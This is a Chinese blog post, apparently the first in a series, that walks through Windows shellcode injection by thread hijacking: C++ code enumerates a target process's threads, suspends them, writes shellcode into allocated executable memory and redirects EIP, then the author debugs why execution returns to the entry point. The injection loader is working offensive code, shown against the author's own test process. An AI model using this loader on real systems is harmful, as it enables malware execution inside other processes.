https://www.cnblogs.com/theseventhson/p/13199381.html 上次分享了通过APC注入方式,让目标线程运行shellcode。这么做有个前提条件:目标线程是alertable的,否则注入了也不会立即被执行,直到状态改为alertable,但笔者暂时没找到能把目标线程状态主动改为alertable的办法,所以只能被动“听天由命”地等。今天介绍另一种远程线程注入的方式:hook 线程;

  先说第一种思路,如下:

  核心代码解析如下:

  1、用于测试的目标进程:这里写个死循环,让其一直运行,方便随时被注入;

  1. #include <windows.h>
  2. #include <stdio.h>
  3.  
  4. int main()
  5. {
  6. printf("dead looping...............\n");
  7. while (TRUE)
  8. {
  9.  
  10. }
  11. }

  注意:本人测试环境:

  win10 x64为了确保安全,默认增加了很多防护,比如控制流防护CFG,编译的时候需要手动改成否,才能让我们注入的shellcode顺利执行;

  

  2、遍历进程,找到目标进程后再遍历该进程名下其他线程:

  1. HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, );
  2. HANDLE victimProcess = NULL;
  3. PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
  4. THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
  5. std::vector<DWORD> threadIds;
  6. HANDLE threadHandle = NULL;
  7.  
  8. if (Process32First(snapshot, &processEntry)) {
  9. while (_wcsicmp(processEntry.szExeFile, L"Thread_Alertable.exe") != ) {
  10. //while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) {
  11. Process32Next(snapshot, &processEntry);
  12. }
  13. }
  14.  
  15. victimProcess = OpenProcess(PROCESS_ALL_ACCESS, , processEntry.th32ProcessID);
  16.  
  17. if (Thread32First(snapshot, &threadEntry)) {
  18. do {
  19. if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
  20. threadIds.push_back(threadEntry.th32ThreadID);
  21. }
  22. } while (Thread32Next(snapshot, &threadEntry));
  23. }
  24.  
  25. for (DWORD threadId : threadIds) {
  26. threadHandle = OpenThread(THREAD_ALL_ACCESS, NULL, threadId);
  27. if (Wow64SuspendThread(threadHandle) == -) //挂起线程失败
  28. {
  29. continue;
  30. }
  31. printf("threadId:%d\n", threadId);
  32. if (InjectThread(victimProcess, threadHandle,buf, shellcodeSize))
  33. {
  34. printf("threadID = %d inject success!", threadId);
  35. CloseHandle(victimProcess);
  36. CloseHandle(threadHandle);
  37. break;
  38. }
  39. }

  3、shellcode代码注入,思路也简单:之前已经已经拿到目标进程和目标线程的句柄,并且已经暂定线程,这里直接GetThreadContext,更改eip为shellcode地址即可;

  1. BOOL InjectThread(HANDLE hProcess, HANDLE hThread, unsigned char buf[],int shellcodeSize)
  2. {
  3. LPVOID shellAddress = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  4. if (shellAddress == NULL)
  5. {
  6. printf("VirtualAlloc Error\n");
  7. VirtualFreeEx(hProcess, shellAddress, , MEM_RELEASE );
  8. ResumeThread(hThread);
  9. return FALSE;
  10. }
  11.  
  12. WOW64_CONTEXT ctx = { };
  13. ctx.ContextFlags = CONTEXT_ALL;
  14.  
  15. if (!Wow64GetThreadContext(hThread, &ctx))
  16. {
  17. int a = GetLastError();
  18. printf("GetThreadContext Error:%d\n", a);
  19. VirtualFreeEx(hProcess, shellAddress, , MEM_RELEASE);
  20. ResumeThread(hThread);
  21. return FALSE;
  22. }
  23. DWORD currentEIP = ctx.Eip;
  24. if (WriteProcessMemory(hProcess, (LPVOID)shellAddress, buf, shellcodeSize, NULL) == )
  25. {
  26. VirtualFreeEx(hProcess, shellAddress, , MEM_RELEASE);
  27. printf("write shellcode error\n");
  28. ResumeThread(hThread);
  29. return FALSE;
  30. }
  31. ctx.Eip = (DWORD)shellAddress;//让eip指向shellcode
  32. if (!Wow64SetThreadContext(hThread, &ctx))
  33. {
  34. VirtualFreeEx(hProcess, shellAddress, , MEM_RELEASE);
  35. printf("set thread context error\n");
  36. ResumeThread(hThread);
  37. return FALSE;
  38. }
  39. ResumeThread(hThread);
  40. return TRUE;
  41. }

效果:弹出了messagebox:

也在目标进程的目录下生成了文件:

  4、最后做一些总结:

  • 为了让被注入的目标进程一直运行,刚开始用了sleep,从process hacker看能正常suspend,但无法resume,shellcode也无法执行;后来改成死循环,能正常执行shellcode了;
  • shellcode执行完后,从打印的数据来看,貌似又从main开始运行,如下:

    

    从process hacker看,线程并未改变,还是之前的那个:

    

    那么问题来了,shellcode执行完回到主线程后为啥又执行了打印代码?仔细想想,shellcode最后一条有效指令是C3,也就是ret,该指令把栈顶4个字节作为返回地址赋值给eip;既然dead looping打印了两次,说明执行shellcode执行前栈顶被压入了这行代码的地址,这是谁干的了?用IDA打开目标进程分析,如下:

    

    好在自己写的测试进程不复杂,很容易找到答案,分析如下:

(1)由于cpu执行速度很快,注入shellcode的进程(以下简称loader)在执行suspendThread时大概率已经进入while死循环,从上面汇编代码来看,while循环并未改变堆栈,所以shellcdoe执行完后ret的地址肯定不是while循环更改的;

(2)继续往上倒推:add esp,4 这是进入死循环最后一行改变栈顶的代码,为了更直观说明,我画了一个堆栈图,对照代码如下:

            

    从函数入口点开始,改变堆栈,期间有两个call和一个push,这3行指令会改变esp;最后执行完add esp,4后,esp重新指向原edi;shellcode最后一行ret执行时,会从堆栈中该值弹出赋值给eip。那么原edi值又是多少了?用调试器打开测试进程,在main入口断下,发现edi指向的时EntryPoint,也就是说shellcode最后一个ret指令会跳转到这里开始执行;

        

这里也能看到栈顶是EntryPoint的地址:

  5、 这次注入shellcode虽说成功,问题也很明显:

  • 手动关闭了CFG检查,但实际情况是CFG默认是开启的,导致shellcode可能无法执行
  • 没有设置返回地址,shellcode执行完,返回地址无法控制(这里只是凑巧回到了原EntryPoint);因suspendThread是随机的,context的eip也是随机的,所以shellcode执行完后返回地址也是随机的,这点在shellode无法写死,只能动态获取;我曾经尝试在shellcode末尾添加push+ret方式返回,但suspend的地址可能包含很多00,通过字符串操作的时候可能会被截断,暂时没想到好的解决办法;
  • 类似explorer这种系统进程,GetThreadContex大概率会失败,可能做了保护;

     后续会通过其他方案挨个解决这些问题!

windows:shellcode 远程线程hook/注入(一)的更多相关文章

  1. windows:shellcode 远程线程hook/注入(三)

    今天介绍第三种远程执行shellcode的思路:函数回调: 1.所谓回调,简单理解: windows出厂时,内部有很多事务的处理无法固化(无法100%预料外部会遇到哪些情况),只能留下一堆的接口,让开 ...

  2. windows:shellcode 远程线程hook/注入(二)

    https://www.cnblogs.com/theseventhson/p/13218651.html   上次分享了基本的远程注入方法,遗留了一个问题:shellcode执行完后怎么回到线程su ...

  3. windows:shellcode 远程线程hook/注入(五)

    前面几篇文章介绍了通过APC注入.进程注入.windows窗口处理函数回调.kernercallback回调执行shellcode,今天继续介绍通过heap Spray(翻译成中文叫堆喷射)执行she ...

  4. windows:shellcode 远程线程hook/注入(四)

    https://www.cnblogs.com/theseventhson/p/13236421.html  这里介绍了利用回调函数执行shellcode的基本原理:这里介绍另外一种利用回调执行she ...

  5. 《windows核心编程系列》十九谈谈使用远程线程来注入DLL。

    windows内的各个进程有各自的地址空间.它们相互独立互不干扰保证了系统的安全性.但是windows也为调试器或是其他工具设计了一些函数,这些函数可以让一个进程对另一个进程进行操作.虽然他们是为调试 ...

  6. 使用远程线程来注入DLL

    使用远程线程来注入DLL DLL注入技术要求我们目标进程中的一个线程调用LoadLibrary来载入我们想要的DLL (1)用OpenProcess函数打开目标进程(2)用VirtualAllocEx ...

  7. 【windows核心编程】远程线程DLL注入

    15.1 DLL注入 目前公开的DLL注入技巧共有以下几种: 1.注入表注入 2.ComRes注入 3.APC注入 4.消息钩子注入 5.远线程注入 6.依赖可信进程注入 7.劫持进程创建注入 8.输 ...

  8. 实现远程线程DLL注入

    ### 32位:远程线程注入 远程线程注入是最常用的一种注入技术,该技术利用的核心API是 `CreateRemoteThread()` 这个API可以运行远程线程,其次通过创建的线程调用 `Load ...

  9. Dll注入:X86/X64 远程线程CreateRemoteThread 注入

    远线程注入原理是利用Windows 系统中CreateRemoteThread()这个API,其中第4个参数是准备运行的线程,我们可以将LoadLibrary()填入其中,这样就可以执行远程进程中的L ...

随机推荐

  1. HDU5961 传递

    传递 因为文化课复习实在捉急qwq,题解就一切从简了qwq 简单说一说 上来一看这道题没看出来突破点在哪... 去HDU上看原题,发现原题是带样例的图解的,然鹅还是没找到思路(太菜了吧) 没办法看了一 ...

  2. Numerical Sequence (Hard vision) 题解

    The only difference between the easy and the hard versions is the maximum value of \(k\). You are gi ...

  3. 使用CodeMirror插件遇到的问题

    CodeMirror的正常使用: //首先通过<script>标签引入相应的js,这个就不必说了 var myCodeMirror = CodeMirror.fromTextArea(my ...

  4. Mysql常用sql语句(23)- update 修改数据

    测试必备的Mysql常用sql语句系列 https://www.cnblogs.com/poloyy/category/1683347.html 前言 update 也是DML语句哦(数据操作语言) ...

  5. Aspose下载图片

    /// <summary> /// 把DataTable数据按照Excel模板导出到Excel /// </summary> /// <param name=" ...

  6. jsp页面中同时遍历多个list集合

    在Jsp页面中,我们也许有这样的需求:从后端获取到多个List,但又想将这些List的值同时打印出来 比如, 有用户列表userList,user类有用户ID.用户名.用户性别等基本信息 有用户关系列 ...

  7. 数据可视化之 图表篇(一)Power BI可视化,几张图表认识疫情现状

    ​近期国际疫情愈演愈烈,在这个特殊的时期,一方面仍要照顾好自己.不要为疫情防治添乱,另一方面,也可以利用疫情数据提升自己的数据分析和可视化技能. 下面是我制作的几个可视化图表,分别注释了每个可视化用到 ...

  8. python 装饰器(八):装饰器基础(四)types.MethodType的作用

    1 types.MethodType的作用—添加实例方法 import types class cla(object): def __init__(self, name, age): self.nam ...

  9. [Cordova]Cordova6.x自定义插件之Andorid

    1.继承了CordovaPlugin的Java Class 需要重写execute方法,如下: 2.在res/xml/config.xml中关联上述java class 3.在assets/www/p ...

  10. Dubbo测试环境服务调用隔离这么玩对么

    背景阐述 前几天,有位同学问我一个关于 Dubbo 的问题.他的诉求是这样子的: 诉求一 第一个诉求是本地开发的时候想自己调用自己的服务,比如自己在改 A 服务,然后出问题了,本地再启动一个 B 服务 ...